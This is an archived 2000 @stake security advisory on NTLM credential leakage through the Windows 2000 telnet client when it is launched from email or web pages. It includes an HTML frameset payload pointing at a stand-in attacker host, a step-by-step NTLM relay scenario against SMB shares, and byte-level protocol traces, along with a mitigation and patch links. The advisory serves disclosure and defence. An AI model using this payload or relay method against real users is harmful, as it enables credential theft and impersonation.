@Stake Advisory A091400-1 - The Windows 2000 telnet client, which relies upon NTLM authentication protocol, may be launched via email or a browser and automatically attempts to authenticate with any host it contacts without prompting the user for any information. A malicious user can crack the authentication to reveal passwords.
d63b34ce08b67e84a7afc686404bb3ed7594cb084d9f40027342b4ccc5f90b9b
@stake Inc.
www.atstake.com
Security Advisory
Advisory Name: NTLM Replaying via Windows 2000 Telnet Client (A091400-1)
Release Date: 09/14/2000
Application: Windows 2000 Telnet Client
Platform: Windows 2000
Severity: Attacker can impersonate users on the network
Author: DilDog [dildog@atstake.com]
Vendor Status: Vendor has patch
Web: www.atstake.com/research/advisories/2000/a091400-1.txt
Executive Summary:
The telnet client in Windows 2000 may be launched via e-mail or
web browsing, causing undesirable outbound authentication over the
Internet to an untrusted third party. This can lead to compromised
passwords or stolen credentials.
Overview:
The console telnet client that is packaged with Windows 2000
performs NTLM authentication by default, assuming that is going to be
connecting to a Windows 2000 telnet server. This, however, is not
necessarily the case, and it attempts authentication with any host it
contacts. This combined with the fact that many email and web browser
packages will parse the "telnet://" protocol and launch the telnet client
to the desired host can lead to outbound NTLM authentications. These
authentications can be cracked to determine passwords, or replayed to
illegitimately access networked resources. The protocol used in the NTLM
telnet transaction is described in detail below, and a proof of concept
tool is provided that demonstrates the negotiation and logs responses from
the client.
Detailed Description:
Windows 2000 is packaged with a console mode telnet client,
specially designed for connecting to the Windows Telnet Server. Amongst
the modifications to the standard telnet protocol, Microsoft has added a
negotiation type to authenticate via NTLM with the target server, per the
IETF working draft:
http://www.ietf.org/internet-drafts/draft-tso-telnet-auth-enc-05.txt
The NTLM protocol is authentication type 15. The telnet client will
attempt negotiation with any server on the Internet, regardless of zone
control or otherwise, unless NTLM authentication has been disabled in the
telnet client (it is on by default).
Initially, this seems benign, but when combined with the fact that
Microsoft Internet Explorer, Outlook, Outlook Express, and Netscape
Navigator and Messenger will all open telnet automatically when they
encounter a "telnet://" URL. This allows an attacker to craft an email in
the following format that forces an outbound authentication over any port:
<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet://evil.ip.address:port>
</frameset>
</html>
Note that this attack affects a multitude of HTML parsers, and is not
reliant upon any form of Active Scripting, Javascript or otherwise, to
launch the telnet client to the desired host.
One of the severe ramafications of this is the ability for the NTLM
challenge/response to be replayed to access a network resource. The
scenario is as follows:
A=attacker
C=client
S=server (network resource to attack)
C has legitimate access to S
1. 'A' sends evil framed email to 'C'.
2. 'C' reads email, opens telnet connection to 'A'
3. 'A' receives telnet connection and makes SMB connection to 'S'.
4. 'S' receives SMB connection and sends challenge to 'A'
5. 'A' sends challenge to 'C'.
6. 'C' receives challenge, encrypts with hash, and sends response to 'A'.
7. 'A' receives response and sends it to 'S'.
8. 'S' receives response and authenticates 'A' to access requested SMB
share.
Another attack that is possible, is that since the challenge is chosen by
the telnet server, a challenge could be specially chosen to send to the
telnet client such that the response more easily cracked than with a
random challenge. This effectively removes the extra complexity added by
the challenge response mechanism that one normally encounters while
attempting to crack passwords that were sniffed off of a network
transaction.
The normal NTLM challenge/response negotiation sequence occurs in the
telnet protocol data stream in the following fashion:
Nomenclature
============
IAC=255,DONT=254,DO=253,WONT=252,WILL=251,SB=250,SE=240
AUTH=37,IS=0,SEND=1,REPLY=2,NAME=3,NTLM=15
DD=32 bit little endian data
DW=16 bit little endian data
DB=8 bit little endian data
US=Unicode string, no extra null terminator
AS=Ansi string, no extra null terminator
Client Server
======================== ========================
IAC WILL AUTH
IAC SB AUTH
SEND NTLM 0x00 IAC SE
IAC SB AUTH
IS NTLM 0x00 0x00
DD 0x00000020 ; Length
DD 0x00000002 ; Type
AS "NTLMSSP\0" ; Signature
DD 0x00000001 ; Sequence #
DD 0xE0008297 ; ?Flags?
DD 0x00000000 ; Padding (room for client challenge?)
DD 0x00000000
DD 0x00000000
DD 0x00000000
IAC SE
IAC SB AUTH
REPLY NTLM 0x00 0x01
DD 0x000000A8 ; Length
DD 0x00000002 ; Type
AS "NTLMSSP\0" ; Signature
DD 0x00000002 ; Sequence#
DW 0x0014,0x0014 ; Field
; length (min/max)
DD 0x00000030 ; Offset
; from start
DD 0xE0828295 ; ?Flags?
DB 0x01 0x02 0x03 0x04 ; 8 byte
DB 0x02 0x03 0x04 0x05 ; Challenge
DD 0x00000000 ; Padding
DD 0x00000000
DW 0x0064,0x0064 ; Next
; Field
; length(min/max)
DD 0x00000044 ; Offset
; from start
... other fields...
IAC SB AUTH
IS NTLM 0x00 0x02
DD 0x000000B4 ; Length
DD 0x00000002 ; Type
AS "NTLMSSP\0" ; Signature
DD 0x00000003 ; Sequence
DW 0x0018,0x0018 ; NTLM Response Field length (min/max)
DD 0x00000074 ; NTLM Response Offset
DW 0x0018,0x0018 ; LM Response Field length (min/max)
DD 0x0000008C ; LM Response Offset
DW 0x0014,0x0014 ; Domain Name Field length (min/max)
DD 0x00000040 ; Domain Name Offset
DW 0x000C,0x000C ; User Name Field length (min/max)
DD 0x00000054 ; User Name Offset
DW 0x0014,0x0014 ; Machine Name Field length (min/max)
DD 0x00000060 ; Machine Name Offset
DW 0x0010,0x0010 ; ??? Field length (min/max)
DD 0x000000A4 ; ??? Offset
DD 0xE0808295 ; ?Flags?
US "ABCDEGHIJK" ; Domain Name
US "foobar" ; User Name
US "ABCDEGHIJK" ; Machine Name
DB 1,2,3,4,5,6,7,8 ; 24 Bytes of NTLM Response
DB 1,2,3,4,5,6,7,8
DB 1,2,3,4,5,6,7,8
DB 1,2,3,4,5,6,7,8 ; 24 Bytes of LM Response
DB 1,2,3,4,5,6,7,8
DB 1,2,3,4,5,6,7,8
DB 1,2,3,4,5,6,7,8 ; 16 Bytes of Unknown Cruft
DB 1,2,3,4,5,6,7,8
IAC SE
IAC SB AUTH
REPLY NTLM 0x00 0x03
DD 0xFDFFF0FF ; Flags?
DB 0x18
....
Temporary Solution:
Run "telnet" at the command prompt, enter "unset ntlm" and then
exit telnet to save your preferences into the registry. You may go so far
as removing the telnet URL type from the registry if you are a proficient
registry hacker, unsetting the NTLM authentication should be sufficient
until an official patch is available.
Vendor Response:
Microsoft has released a bulletin and patch for this issue.
Bulletin MS00-067
http://www.microsoft.com/technet/security/bulletin/MS00-067.asp
Frequently Asked Questions:
http://www.microsoft.com/technet/security/bulletin/fq00-067.asp
Patch:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24319
Proof-of-Concept Code:
This code will act as a rogue telnet server, and send a constant
challenge of 0xFF bytes to any telnet client that connects to it, and it
logs the response to a disk file. The code was written under Linux.
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed